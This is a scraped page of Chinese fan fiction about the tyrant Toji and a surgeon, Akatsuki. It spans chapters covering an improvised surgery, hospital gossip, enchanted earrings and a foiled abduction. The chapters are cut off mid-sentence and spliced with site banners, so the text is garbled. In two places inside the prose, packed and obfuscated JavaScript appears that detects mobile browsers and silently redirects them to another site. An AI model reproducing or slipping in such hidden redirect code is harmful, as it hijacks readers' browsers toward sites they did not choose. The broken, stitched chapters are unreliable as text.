“你看得见——”甚尔当即止住话头,面不改色地收回作势要下砍的大刀,“不知道,一个晚上就长出来了。你怎么没有跟着那些侍女走?” “她们说煤气管爆炸了,但是我没看到匠海君下来。”晓既心疼又生气,“她们怎么能丢下他不管呢?!” “谁知道。”甚尔不敢放松警惕,手上依旧紧握大刀。 束缚有时间限制,他得尽快想办法。 突然,晓尖叫道:“匠海的心跳——!” 甚尔当即蹲下身子,伸手摸了摸匠海的脖颈,果然感觉手下的脉搏越来越弱。 晓快速检查了匠海全身,没有发现伤口,第一时间开始抢救,一边催促甚尔道:“快,叫救护车!” “救护车来不及了。”甚尔望了望窗外的森林,忽然心头一动,指了指匠海大腿上的肿瘤,“这就是他快死的原因,你能解决吗?” “这……什么?”晓察觉到自己的抢救没有用,当即反应过来,“你想让我在这里做手术?” “试试。”甚尔挑挑眉,“这不就是你来这里的用处吗?” 束缚换个说法,也就是弱点。 “你只有两个小时。”甚尔站起身,朝四周的废墟张望,“干不干?” 他自然可以一刀将这颗肿瘤切下,但小孩连着的这条腿,恐怕就不保了。 甚尔已心有打算,若是晓拒绝,他便抬刀威胁。 左右都是一个结果。 “好!” 感受着手底下逐渐流失的生命,晓虽心有疑虑,但也没有时间犹豫了。 没有无菌消毒,没有封闭的场所,没有足够的光源……这里的环境根本无法达到一个外科手术的最低要求。 但是,若这里是战场,条件只会更糟! 早已做好这个觉悟的晓迅速冷静了下来,指挥着甚尔从废墟中翻出了一块还算干净的被褥铺在匠海身下, 15.背后的人 《天与暴君的妻子每天都在想什么》全本免费阅读 “匠海!天啊!” 眼见着一名温润女子焦急地从病房外冲了进来,扑到床边,晓连忙从一旁的椅子上站起来,退到了一边。 这个人……就是匠海君的继母吗?晓默默打量。 这副担心的样子看上去并不似作假啊。 满脑子还是恶毒后妈剧本的晓眨了眨眼,压下心中的疑惑,看向跟在女子后头走进病房,满脸疲惫的西装男子。 如此看来,匠海君的情况,这位父亲也是知道的。 那怎么这么些天也不来探望呢? 正在晓陷入疑惑的时候,确认了匠海情况良好,只是陷入了昏睡的女子连忙擦了擦眼角的泪水,抬头望向晓。 “谢谢你,夏烧医生。”女子似乎是高兴坏了,有些不知所措,真诚地道谢,“我还以为匠海永远都……”说着又哽咽了起来。 男子走上前去搂住她的肩膀,默默安慰。 “这是我应该做的。”晓正想着自己被对方拉黑的事情有点尴尬,闻言连忙摆手。 难道是我误会了? 甚尔就站在晓的身后,望着眼前感人的一幕,面无表情地双手抱胸,直到匠海的父亲不动声色地抬头,与他对视,并轻微地点了点头。 甚尔咧嘴一笑。 尾款到账! 就在这时,匠海悠悠转醒。 他朦胧胧地睁开眼,“爸爸……妈妈……” “我在做梦吗?” 听到这话女子顿时受不住,流下了眼泪。 “不是梦,爸爸妈妈终于能来见你了,别怕,都好了……” 晓见此拉着甚尔走出病房,给一家人留出相处的空间。 走廊上,晓瞅了瞅病房门,还是忍不住凑到甚尔身边问道:“那个,其实是匠海君的继母吧。” 甚尔不明所以,挑了挑眉,“那又如何?” 晓左右看了看,一副要说小秘密的鬼祟模样,想要凑到甚尔的耳边,却奈何身高不够,勉强也只到他的肩膀。 甚尔低头瞥了她一眼,不动声色地侧弯下身子。 “匠海君的父母,对他是不是不好啊?”晓凑到甚尔耳边,刚说完,就想起了刚才病房里看见的真情流露,不确定道,“那么在乎匠海君的话,为什么之前从来不探望?” “是不是继母不喜欢,故意……” 甚尔听着听着,总算明白了过来,无语地斜睨了一眼晓,“看不出来你脑子里装了那么多废料。” “这哪里是废料!”晓不高兴了,又连忙小声,“要是以后匠海君过得不好……” “那你打算怎样?” “报警!” 虐待儿童犯法啊! “……” 甚尔翻了个白眼,扭头就走。 “你看那小屁孩像是被虐待的样子吗?他细皮嫩肉的简直跟未出厂似的。” 这什么形容…… “难道不是吗?”晓连忙跟上。 “怎么?你被虐待了还会睁开眼就叫爸爸妈妈吗?”甚尔双手插兜,无语至极。 晓琢磨了一下,好像是这个理,“那他妈妈为什么要拉黑我的号码?” 甚尔面无表情,“说不定她就是接不了。” 前妻的怨念都成咒灵了,他们脑子有病才往前凑。 “啊!对了!禅院!”晓突然想起来,“你……” 甚尔停下脚步。 晓一时刹车不及,差点撞上他的背。 “甚尔。”他淡淡道,“别念那个姓,听着烦人。”说完,他抬脚继续往前走去。 晓站在原地愣了一下,不好意思地露出了一个浅浅的微笑。 “那,甚尔。”晓高兴地跟上前,“你也差不多把我从黑名单里放出来了吧?” “有什么理由吗?” “过几天我请你吃饭。”晓抬眼状似不经意地瞅了瞅甚尔的脸色,“就当是……你救了我的谢礼。” 甚尔眯了眯眼,见她这个样子,似乎是想笑,但是又憋了回去。 就在这时,两人拐过走廊转角,发现孔时雨正靠着墙壁,等着他们。 他依旧西装革履,抬头看向甚尔时,嘴角勾起一个意味深长的微笑。 甚尔:“……” “孔先生!”晓礼貌问好,笑了笑,“你是来接甚尔的吗?” 虽然长得一点都不像,但是这个哥哥还挺照顾弟弟的呢。 完全不知道自己随口讹的谎言还在生效,孔时雨笑着瞥了眼面无表情的甚尔,低头看着晓道:“我是来接他的。医生家住哪里?我开了车,一起吧。” “不用了。我爸爸会来接我。”晓含笑拒绝,“既然如此你们先走吧,我在这里等一会儿。” 晓挥手跟他们告别。 “记得黑名单哦!”她不忘提醒。 甚尔语气带着笑意,面无表情地淡淡道:“看情况吧。” 眼见着两人的身影消失不见,晓突然想起了什么,把手伸进口袋里,掏出了谦和给她的护身符。 护身符上粘上了不少灰尘,边角处不知何时还沾上了点点血迹——晓猜想应该是帮匠海手术时不小心蹭上的。 护身符的细绳已经断了,不过还好里面的东西没有漏出来。 完全坏了啊。晓叹了口气。 有了缺陷的护身符就不能再用了,不然不仅不会招来祝福,还会惹上祸端。 跟爸爸说一声,然后扔掉吧。晓心想。 而另一边,甚尔和孔时雨也坐到了轿车上。 “‘别念那个姓,听着烦人。’”孔时雨露出了不怀好意的微笑,“‘啊?是不是,甚尔?” 甚尔浑身一抖,感觉自己鸡皮疙瘩都要出来了,“你就闭嘴吧。” “哦?哎呀,果然人和人还是不一样的啊。”孔时雨一脸惆怅地拉过安全带扣好。 “别找揍。”甚尔捏了捏拳头,筋骨咔哧作响。 孔时雨哼笑了一声,挂挡开车。 “这次遇到的咒灵不同寻常。”车开到半路,在红灯前停下,孔时雨才漫不经心道,“聪明过头了。” “简直像是被人操纵着一样。” 会跑会藏,懂得猥琐发育就算了,还知道怎么受肉人类呢。 束缚可以是自己下的,也可以是别人下的。 甚尔手撑着脸,百无聊赖地看着前方,看着看着似乎是有些无聊起来,不知从哪里掏出一张卡片,低头左右端详。 “你查了大半个月,没什么结果吗?”甚尔把卡片举起来看了一眼,又放下,手指不自觉地在上面摩挲,“我没看出操纵的痕迹。” “就是这样才让人不放心啊。”绿灯亮起,孔时雨侧头看了眼甚尔,踩下油门,“不知道为什么我有种不好的预感。” “禅院,似乎有人在针对你。” “我?”甚尔仿佛听到了什么好笑的事情,“谁有这么大的胆子?” 天与暴君的霉头,谁敢触? 不过区区二级咒灵,该不会真的以 16.耳坠 《天与暴君的妻子每天都在想什么》全本免费阅读 晓出差了大半个月,回来后,医院里的大家都感觉她有哪里不一样了。 “早啊,晓酱。呐,你的胸牌,路过后勤部顺便给你带回来了。” “早啊惠美。”医院走廊上,晓快步上前,与惠美并肩前行,接过她手上的胸牌,笑道,“谢谢你。终于做下来了啊。” 之前的火灾,她的胸牌不知道丢到哪里去了,没想到重新做一个胸牌还要大半个月。 “后勤部的那群人哪天效率高过。”惠美耸耸肩,一回头瞥了眼晓,忽然怔住,“晓酱……” “嗯?什么?”晓把胸牌收好。 惠美瞅了瞅她耳朵上挂着的绿水晶耳坠。 耳坠晶莹剔透,做工精细,呈四叶草的形状,与晓碧绿色的眼眸遥相呼应,一看就价值不菲。 惠美又看了眼晓抹上了口红的嘴唇。 “你……最近是发生了什么好事吗?” 向来以干练著称,从来不在打扮上多花心思的大学神突然开始着装打扮,瞬间就吸引了所有人的注意力。 慕名而来的吃瓜者在转角处摞成一排,探头探脑。 “夏烧医生今天怎么了?” “哇,完全不一样了……” “果然……好看的人一旦化妆起来,就会杀死比赛!” “欸?不是说有耳坠吗?” “干活怎么可能戴!肯定收起来了啊。等午休再来看。” “啊,走过来了走过来了。” 路过时,面对一众佯装路过的后辈,实在是没办法视而不见的晓难为情地朝他们笑了笑。 所有人:“哇……” 一时之间众说纷纭。 “是有喜欢的人了吧。” “肯定啊。” “也就是说松本医生失恋了?” “你们也太夸张了吧,说不定夏烧医生只是今天心情好化个妆玩玩呢?她本人也没说什么吧。” “我听说了哦,有人真的去问了,但是夏烧医生没肯定也没否认。” “欸~这是什么意思啊?” 结果,姜还是老的辣,探查八卦的时候同理。 “夏烧医生,今天好漂亮啊。”病人奶奶躺在病床上,笑呵呵地赞扬,一边悄咪咪地挤眉弄眼,“难道说……是之后有约会吗?” 晓顶着病房里所有病人投来的揶揄目光,面色通红地匆匆写下观察报告,终究是不想敷衍带着善意的长辈,吞吐道:“是,是的。” 夏烧医生有约会对象了! 八卦如野火燎原,迅速传播。 于是午休时,松本敲响了晓的办公室门。 围在晓周围看耳坠的同事们瞬间散开,各自落座,纷纷竖起耳朵。 “啊……”突然发现周围安静了下来,晓一抬头,就看见了出现在门口的人,顿了一下,面上露出礼貌的微笑,“松本医生,有什么事吗?” “听说你在出差的时候遇到了煤气爆炸,所以我来看看你还好吗。”松本今天戴了个金框眼镜,见晓看过来,温润地笑了笑,走到她的办公桌旁,垂头看她,“怎么样,没受伤吧?” “我没事。”晓客气地回答,“谢谢。” 晓想接着问他还有什么事吗,但是想想这样不太礼貌,好像是她在赶人一样,便没有说出口。 其实她和松本的关系并算太差。 毕竟是同事,有的时候也会一起合作治疗病患,各自也是各自领域的佼佼者,虽然松本的名气并没有晓那么大,但也是病人们非常信赖的医生。 但不知道从什么时候开始,周围突然流传起了一个流言。 流言说,松本倾慕于她。 晓并不知道流言的起源,曾经也试图制止过,但总是会因为流言的另一个主角似是而非的态度而失败,这一度让晓非常尴尬。 就像是现在,她也不知道松本来这里到底要做什么,如果是要关心她的身体,她已经回来一个星期了,之前不来,怎么今天来了? “那我就放心了。”松本笑容真挚,“对了,下个月的京都交流会,你会参加吗?” 原来是因为这个啊。晓了然。 日本的医学圈会定时举办医学交流会,届时不仅各大高校医学院的医学导师们会参加,社会上有名有姓的医院也会收到邀请,主要是交流各种先进的治疗技术还有疑难杂症的分享和讨论。 晓的医院自然也收到了邀请,但现在邀请函在院长手上,而且参加名额也有限,她虽然很想参加,但是并不知道自己会不会在名单里。 “不清楚。”晓老实回答,“如果院长愿意带我,那我自然是想去的。” 松本闻言轻笑了一声,语气意味不明,“你总是这样无欲无求的样子……小心机会被人抢走。” 这样一个在大佬面前露面和积攒人脉的机会,大家自然都不想错过,就晓知道的,他们科室的内藤副主任最近就一直在旁敲侧击地向周围打听名单候选,唯恐错失良机。 “不过如果是你的话应该没什么问题。”松本笑道,“你在学校的导师是东大的春野教授吧,能带自己的得意门生出席,她也会很高兴的。” 晓闻言皱了皱眉头。 “我还不至于去跟学弟学妹们抢名额。”晓笑容冷淡了几分,“到时候再说吧。” 松本耸耸肩,没再继续说什么了。 一直在旁听的办公室其他人见他们对话已经结束,顿时有些失落。 什么啊,原来只是谈论工作啊。 “啊对了。”临走前,松本回头,忽然笑道,“这对耳坠果然很适合你。” 晓一愣,刚想要说什么,松本已经推门离开了。 办公室其他人:?!! “果然”?什么“果然”?!果然夏烧医生今天戴的耳坠是松本医生送的吗!那这之后也是他们要约会吗! 吃瓜群众心里惊涛骇浪,有人当即想要凑到晓面前询问,却没想,这时,办公室的门又再次被人打开了。 来人是一名中年妇女,她穿着白大褂,带着老旧的红框眼镜,眼睛往办公室一瞟,所有人顿时噤声。 是内藤副主任。 “午休时间结束了。”如往常那般踩点监工,内藤见所有人迅速进入了工作状态,抬眼扫了一眼晓,“首饰收起来。”便离开了。 如此,查房的查房,准备手术的准备手术,整个办公室迅速忙碌了起来。 惠美临走前套上白大褂,走到晓身边,意味深长地拍了拍她的肩膀,然后扬长而去。 错过了解释时机的晓:“……” 她觉得她现在的脸色肯定算不上好看。 耳坠自然不是松本送她的。 “你真的买了啊?!”孔时雨大吃一惊,难以想象,“那可是二十万日元!” 某公园外停着的轿车内,刚把最新的拍卖场拍卖清单交给甚尔的孔时雨,听说自己那邋遢又清心寡欲的搭档竟然真的把前几日在黑市出现的绿水晶耳坠给买了下来,整个人都震惊了。 倒也不是说这个价钱对他来说有多么的大款,只是甚尔虽然花钱如流水,但向来都只在昂贵的咒具上下功夫,就像上次他说想要一把能够延长攻击距离的咒具,孔时雨立马就从黑市里找到了相关消息,却没想他反而对另一个毫不相关的商品产生了兴趣。 不管怎么说,二十万日元的耳坠也太贵了点吧…… “啧,我想买就买了,怎么了?”甚尔接过拍卖会清单,漫不经心地翻了翻。 “倒也不是……嘶……”孔时雨忽然发现今 17.赶时间 女儿最近的变化,谦和自然知道。 “今天又去约会吗?”眼见着女儿又打扮得漂漂亮亮的准备出门,谦和半真半假地吃味道,“还是那个小子?” 晓向来有事不会瞒着爸爸,更别说出差时还遇上了煤气爆炸和临时紧急手术这样的大事儿,一回到家就跟谦和说了前因后果。 毕竟是自己从小看到大的闺女,更别说在晓口中的故事里,某个人的戏份多得简直鹤立鸡群,又是“挑食不吃菜吃肉一大锅”,又是“天天就知道欺负我凶得要死”,又是“长得本来挺好看的笑起来就跟反派一样”……那一脸口是心非的笑容,有过爱情的人都知道发生了什么。 说实话,能看到总是一心事业的女儿有了喜欢的人,谦和心里是松了口气的,他知道晓从小就想要成为无国界医生,别看她平时柔柔和和的不怎么生气的样子,其实骨子里比谁都不愿服输,看到总是不着边际的结衣都因为家庭安顿了下来,谦和也盼着晓能够因为爱人放弃冒险——就像他当初一样。 谁知道,晓看上的人,偏偏是…… 他想起了那天夜蛾的电话。 “……咒灵是禅院家的那小子解决的。你女儿当时应该也看到了。” 禅院家的天与咒缚,天与暴君禅院甚尔,咒术界里谁不知道他的名号。 用极致的0咒力换来极致的□□力量,刨除没有咒具就无法袚除咒灵这一点,他的战斗力毋庸置疑属于特级的层次。 这样的人,无论是在哪里都应该是珍贵的战斗力,却偏偏生在了禅院家……那情况,无论是谁看了,都得道一声倒霉。 也因此,咒术界对他私下接活的行为大多睁一只眼闭一只眼——左右也没有踩红线,没人无聊想要去触一个特级的霉头。 结果竟然跟自家女儿掺和上了…… 多年听说的强大人物转眼成为了自己的女婿备选,这种感觉无异于发现本来以为远在天边的核武器竟然就在自己脚下。 谦和叹气。 身世复杂的背景,超乎常人的破坏力,游走在黑白分界的地位与工作……无论哪一个都难以让一个父亲放心将女儿交给他。 毕竟那个世界有多肮脏,又有多危险,谦和再清楚不过了。 话虽如此,但对着女儿一无所知的脸,谦和也不知该如何开口。 见爸爸趴在沙发上一脸怨念地看着自己,晓干笑了两声,“啊,是。我马上就回来,不用担心,爸爸!” “你上次也这么说,但是晚饭也没有回来。”谦和摇头。 “那个……”晓难为情地挠了挠脸。 谦和见她这样,也不想为难她,“那对耳坠,是他送你的?” 他早就发现了,就等着女儿来跟他说呢! 结果没说! 突然感到自己的地位岌岌可危的谦和对某个人愈发不满。 “对,是甚尔送我的。”一说到这个,晓脸上顿时挂上了羞涩的笑容,都快到玄关了又倒回来回到了客厅,跟爸爸显摆,“你看,好看吧!” “甚尔,甚尔,叫的挺亲切啊……”谦和小声嘀咕,见晓走了过来,突然灵机一动,“摘下来给爸爸看看。” 以为爸爸在吃醋的晓见此无奈地将一对耳坠取下,“真是的……爸爸你也不是小孩子了啊。” 接过耳坠仔细看了一眼,谦和心情复杂地发现这绿水晶竟然不是便宜货。 也是,那小子在外头赚了那么多的委托费,要是连一对像样的首饰都不愿拿出来,可就太不像话了。 仗着女儿看不见,谦和光明正大地往耳坠里注入咒力。 往物体中注入咒力并雕刻咒文形成简易的触发型结界,这是每个从高专毕业的咒术师都会学的基础课——当然,没有咒力的人自然做不到这一点,若想要达成同样的目的,就只有借助外部手段。 这一次刻个更强的。谦和想道。 “可以还给我了吧,爸爸。”晓双手抱胸,嗔怪道。 在她眼里,谦和一拿过她的耳坠就直盯着看不动了,活像是下一秒就要把它扔了似的。 联想起这段日子里,一提到甚尔时爸爸脸上怪异而又不满的表情,晓觉得这个猜想也不是不可能。 晓不是没有感觉到谦和对甚尔态度上的抗拒,只是在她眼里谦和并不认识甚尔,便觉得自家爸爸会有这样的反应纯粹只是因为还没有接受现实。 当年结衣出嫁的时候,结衣爸爸整整刁难了介人大半年呢。 也许每个有女儿的爸爸都会这样吧。晓心中无奈。 等到爸爸见到甚尔,就知道他有多好了! 大概…… 突然想起某人恶魔般的笑容,晓连忙忍住笑意。 正在专注于雕刻咒力然后发现自己女儿又无缘无故笑起来的谦和:“……” 唉,真不让人放心啊。 他真的想让自己的女儿与甚尔保持距离,但同时他也知道,晓向来有自己的主见,是不会轻易听话的,要想说服她,就得有能说服她的理由,更别说在她眼里,自己跟那人毫不相识,提出抗议反而更像是无理取闹,摸不准反而更坚定了小年轻之间的感情。 左右那个人听上去还是挺重视晓的,之前还救了晓一命,要是他连自己的心上人都保护不了,也愧对天与暴君的名号了。 再观察观察也不无不可。 爱女心切的父亲终究还是不忍心扫女儿的兴。 “好,还给你。”把耳坠重新还给晓,谦和装模作样地叹气,“真是有了男朋友,没了爸爸咯。” “爸爸!还不是男朋友呢!”晓笑骂道,把耳坠重新戴上,“我走了,不然电影要迟了。” 谦和:“唉,走了好啊,走了好啊……” 与此同时,正在工作的甚尔用迅雷不及掩耳之势,刚解决了一个委托。 眼睁睁地看着甚尔用超越音速的速度将强大的咒灵打爆并不小心毁了整栋大楼的其他诅咒师:“……” 有些委托人并不了解咒术界内部情况,也不信任诅咒师的力量,就会将一份委托以悬赏竞技的方式悬挂在黑市,若这份委托没有指定委托人名单,就会公开给所有诅咒师,谁先完成,谁获得酬金。 本来在场的诅咒师在看到甚尔出现的时候就已经心生退意了,但来都来了,想着捡个漏,混个从功也行,结果也不知道平时总是意兴阑珊的大佬怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他知道那诅咒是怎么回事。 一栋没人居住的大楼怎么会诞生诅咒,原因自然是因为住在里面的人都死了。 而且死得并不安详。 不过这都跟他没什么关系,不管雇主手上有多少孽障,只要不赊账就行。 “抱歉,朝九晚五的工作并不适合我。”甚尔站直身体,双手插兜,“既然已经没什么事了,那我就先告辞了。”说完就头也不回地离开了。 雇主的笑容僵在脸上。 “不好意思,您看他的性格就是这样,这份工作跟他本来就不适合。”孔时雨心里也对当面在自己面前撬墙角的人没什么好感,不过表面的功夫他还是要做足的,毕竟这是他的工作,“我们也是衷心希望您的问题能够解决,以后有机会也能念在业务水平的份上照顾照顾我们的生意。那么接下来就不打扰了。祝您生活愉快。” 眼见着两人的身影远去,雇主面色一沉,心里不屑。 什么除咒师,说到底也不过是舔着钱的狗,嚣张什么! 不过这价钱也着实是太贵了些……雇主若有所思。 以后用着他们的地方还多着呢,得找个法子压压价才行。 要是能抓住把柄,那就再好不过了…… 18.发火 晓发现从刚刚开始甚尔就一直盯着她的脸看。 “怎么了吗?”抱着爆米花从柜台的长队里挣脱出来,晓还是没忍住不好意思问道,“我的脸上有什么东西吗?” 难道是卡粉啦?哇,尴尬…… 晓当即把手中的爆米花塞进甚尔的手里,然后掏出小镜子瞅了瞅妆容。 没掉妆啊。 被塞了一手爆米花的甚尔低头看了眼,毫不留情地伸手抓了一大把丢进嘴里,语气漫不经心道:“你的耳坠被谁动过?” 当晓出现在他面前的时候,他就发现了耳坠里陌生的咒力痕迹。 也许是因为天生0咒力的缘故,甚尔对咒力的敏感度反而不弱,周围有一点点的咒力残秽,他都会有所感应。 虽然效果比五条家的那个怪物差远了,但这么近距离,还不至于察觉不到。 而且,留下咒力痕迹的人,显然并没有隐藏自己的打算。 谁?甚尔眼底一冷,心中顿时警惕,第一个反应是有人在挑衅他。 有人悄无声息地靠近了晓,堂而皇之地在她身上留下了自己的咒力,还目中无人地把她又放回了他的身边。 而他从头到尾都没有察觉。 如果对方想要晓的命,现在说不定已经得手了。 一想到这个可能,甚尔心中一寒,怒火无声无息地涌上心头。 “啊,原来是这个吗?该不会坏了吧。”晓闻言当即吓了一跳,连忙将耳坠小心取下来看了看,“今早出门的时候还好好的呢……咦,也没坏啊。” 这不还是亮晶晶的嘛。 “我问你谁动过你的耳坠?”甚尔沉声道,语气不自觉地带上了一丝寒意。 被甚尔的语气吓了一跳,晓眉头一皱,不服气道:“你是在对我发火吗?” 甚尔一惊,低头看向晓冰冷的碧绿色双眸,心头的怒火瞬间消了个干净。 他在发火? “不是。”甚尔下意识否认,见晓面色依旧不见和缓,眼珠子尴尬地左右转了转,还是忍不住又加了一句,“我只是问问。” 晓见甚尔气势突然之间矮了一截,心中想笑,但还是佯装不领情,面无表情地把耳坠重新戴了回去,淡淡道:“我没有把耳坠给过别人,要说的话,也就是今早出门前,我爸爸好奇,给他看了一眼而已。” 甚尔:“……” 甚尔:“只有你爸爸摸过?” “对啊。”晓奇怪地看了眼甚尔,不明白他为什么对这件事这么执着,“不可以吗?” 甚尔咬牙:“……可以。” 晓见甚尔一脸不情愿的样子,终于还是忍不住笑出了声,推了推他,“好啦,电影要开始了,走吧。” 开场半小时,甚尔已经递了半包纸。 看电影时不能说话,晓只能悄悄抹泪,而甚尔一脸无聊地单手托腮,对屏幕里主角悲惨的回忆杀毫无感想。 他还在思考刚刚的事。 仔细想想,他都快忘了发火是什么感觉了。 曾经也不是没有不甘过,只是那个时候,莫名其妙的羞辱太多了,莫名其妙的轻视也太多了,到最后莫名其妙的排挤,莫名其妙的陷害……等到反应过来的时候,他早就已经对那个腐朽的家族不抱任何希望,自然也就无从失望。 他甚至都不记得他离开那天的场景了,只大概知道他好像是为了寻找食物离开了屋子,后来就再也没有回去过。 有很多人跟他说过,他自由了,甚至是讽刺他,说他尝到了自由的滋味,便也成为了目中无人的样子。 自由?他可不知道那是什么东西。 不过是换个活法而已,人类在诅咒的漩涡里循环往复,哪有什么自由可言? 「禅院,你稍微也要有点尊严吧。」连孔时雨都看不下去了,「被人扔冰淇淋拜托反抗一下,你怎么可能躲不掉?」 当时他怎么想的来着……哦,麻烦。 搞得这么麻烦做什么,能用不就行了? 自由也是,尊严也是,能活不就行了? 可一个人会发火,正是自尊的表现。 因为他的领地被触犯了。 原来他还有这玩意啊? 想到这里,甚尔下意识地先笑了一声,短促的音节里满是讽刺。 然后他就被打了手臂。 软绵绵的,一点伤害力都没有。 “嘘,保持安静。”晓一边抹泪,一边哽咽地提醒道,瞥过来的眼眶里还含着泪水,活像只可怜巴巴的松鼠,“再给我一张纸。” 甚尔垂头看了她一眼,从纸包又抽了一张纸,然后打开摊在手掌上,一把糊到晓的脸上。 晓:“呜呜呜……” 甚尔:“再哭没纸了。” 好在在纸巾宣布告罄之前,电影结束了。 “太好了,最后主角成功了。”晓感动地消耗了最后一张纸巾,“要是一开始主角不回头看就好了……你说对吧。” 完全不知道电影情节但是却被要求发表感想的甚尔:“……” “接下来做什么?”他选择消耗最后一块爆米花。 这方面晓早就计划好了,闻言当即从帆布包里翻出一个小本本,打开看了一眼,“接着去吃饭吧……我记下了餐厅的地址。” 这个小本本甚尔早就已经观察许久,他知道晓会把所有琐碎又不好记的东西都记在上面,比如在医院的会议提要,还有他一顿要吃多少的肉…… 他还记得在那个别墅里的时候,晓被他的饭量吓得目瞪口呆,研究了两天才得出了一个准确的数据。 甚至还有简笔画——一捆肉大概应该切在哪里。 甚尔是搞不懂她为什么会对这种事情那么认真,不过他吃得很开心,所以并不想对此发表任何意见。 “得往那儿走才行。”晓很快指了个路。 经过一家花店的时候,被里面的花草吸引住了注意力。 “哇,是风铃花。”晓蹲在玻璃柜前,望着里头淡粉色的花苞,眼睛闪闪发光,“好漂亮。” 甚尔看了眼那花,并没有觉得那有什么特别的的,“买吗?” 掏钱就完事了。 然而晓却摇了摇头,“算了。我没什么时间养花,家里也没什么地方放。” 最后也只能遗憾离开。 临走前,甚尔回头又看了一眼那朵平平无奇的小花,它花苞还尚未绽放,根茎泡在水里,精致的玻璃花瓶在阳光下反射出一缕微光,宛如被封存在水晶中的标本,晶莹剔透。 脆弱不堪的温室花朵,看上去就很容易死的样子。 吃完饭,下午晓又要回去工作了。 “医生怎么天天工作?”甚尔总觉得每次晓很快就要走了,要不然就是傍晚才能见到。 “也不是天天吧。”晓知道甚尔的工作时间很自由,主要还是接一些零散的做保镖的活儿,而且神奇的好像一点都不担心会没有工作,“你也要工作的啊。” 开张一次吃十年,要不是委托级别不够懒得搭理也能月月开张的甚尔:“工不工作我说的算。” 诅咒师圈里的人都知道,若是甚尔突然开始勤快地接任务,大概是看中了某个咒具,而且只有价值上亿日元的咒具能让他大范围接委托,平时他向来兴致缺缺,能过就行,并没有什么暴富的野心。 不过……不知为何忽然想起了上次在拍卖会上看到的蓝宝石水晶项链的甚尔,突然觉得最近钱好像是有些不够用了。 送个小耳坠就开心成这样,要是送个大的岂不是更开心? 唉,养女人真花钱。 不知道甚尔在想什么却莫名从他的脸上看到了惆怅的晓:? 晓:“那我走了哦。” 甚尔回过神来,刚想像往常一样道别走人,对面的草丛突然一阵响动,下一秒,监测到咒力的耳坠率先点亮,但甚尔的反应更快,手指一翻,一根长约10厘米的银针瞬间掷出,还没来得及靠近晓的咒灵眨眼间湮灭。 尚未完全亮起的耳坠又迅速暗淡了下去,晓察觉到身后有些异响,一转过头,却只看见甚尔刚刚放下的手臂,那姿势看上去就好像想要拥抱的人却在中途收回了手。 晓眼睛一亮,目光犹疑了一瞬,但一想到这可是甚尔主动的拥抱——自己刚刚就这么撇下他转身就很让人委屈了,拥抱还要问一句就更尴尬了——电光火石之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12101772|128536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,当即小跑过去,抱住甚尔的腰,给了他一个大大的拥抱,然后又迅速退开。 堂堂天与暴君却被偷袭了一个抱抱,甚尔还没反应过来,怀里就是一空,他低头看去,只来得及看见女人垂着头露出来的一点羞涩的红晕,再抬头的时候,人已经跑远了。 “我,我真的走啦!” 甚尔在原地待了半晌,才终于找回自己的四肢。 而这边,反应过来自己做了什么的晓只闷头往前跑,要不是现在在大街上,她都感觉自己要尖叫出来了。 她竟然直接冲过去抱了! 怎么能这么大胆啊!她是被结衣传染了吗?! 跑了许久才停了下来,不知不觉周围已经人迹稀少,晓摸摸自己滚烫的脸蛋,只觉得自己这辈子都没有这么勇敢过。 “喂,这位小姐,跟我们走一趟吗?” 身后突然传来一个男声,晓一愣,刚想着这是在叫她吗,下一秒就感觉眼前一黑,知觉瞬间远离身体。 怎么……回事…… “就是这个人没错了吧。”穿着黑色衣服的男人望着地上倒下的女人,低头装模作样地叹了口气,“欺负女人的感觉真不好受。” “呵,干我们这一行的,哪来那么多同情心。”一旁的同伙讥笑道,“好了,搬走吧。她也是倒霉,偏偏……”一边说着,他蹲下身子朝晓伸出手。 然而下一秒,视觉仿佛被拉开了一条边线,错位的画面像是碎裂的镜子上下交错,而直到断开的手臂落在地上,鲜血喷涌而出,刀尖交错的铿锵声才传入耳膜。 “噌——” “啊啊啊啊啊——!” 眼见着同伙跌倒在地,一旁的黑衣男子经验丰富,迅速反应过来,在肉眼看不见的疾风来临之前,一个箭步扑到地上,抓起晓顺势翻滚,抬手抓住袖子里的匕首,直抵着晓的脖颈。 “不许动!”他尖叫道,“放我们走,否则这个女人性命不保!” 可恶,怎么会有人这么快——!男子悚然。 毫无知觉的晓一动不动地歪在黑衣男子的手下,仿佛无神的娃娃。 而刚刚,她碧绿色的眼眸,灵动的像是落满流星的宝石。 提着长刀显出身形,甚尔甩甩刀锋上沾染上的血迹,目不斜视地从瘫在血泊间哀嚎的人身旁走过,然后在黑衣男子面前不远处站定,扛起长刀,面无表情道:“谁派你来的?” 黑衣男子不答,只死死掐着晓,“放我们走。” “回答我。”甚尔蹲下身子,冰冷的目光直直看向黑衣男子眼底,声音在咽喉间爆发,“谁派你来的!” 杀气迸发,黑衣男子浑身一震,一瞬间竟以为自己被野兽盯上,浑身不自觉地颤抖起来,“是……是山本先生……” 得到了自己想要的答案,甚尔当即抽刀。 以他的速度,对方手下的匕首不会有任何移动的机会! 然而就在这时,铁器相交的声音响起,甚尔察觉到了一股咒力在自己的刀下爆发,拦住了他的刀势,与此同时他一抬眼,发现原本在黑衣男子手中的晓也消失不见了。 术式?! 甚尔看也不看一眼地上的人,扭头站起身子。 就见在街头对面,一名头发微白的中年男子小心将晓抱在怀里,低头看了一眼晓熟睡的面庞,然后缓缓抬头,与甚尔对视。 “本来以为是遭遇咒灵袭击了,结果没想到情况更糟。”中年男子望着一无所知的晓,无奈又宠溺地叹了口气。 甚尔皱了皱眉头,已经在一瞬间判断了对方的战力。 很好,很弱。 “你又是哪儿位?”甚尔随手挽了个剑花。 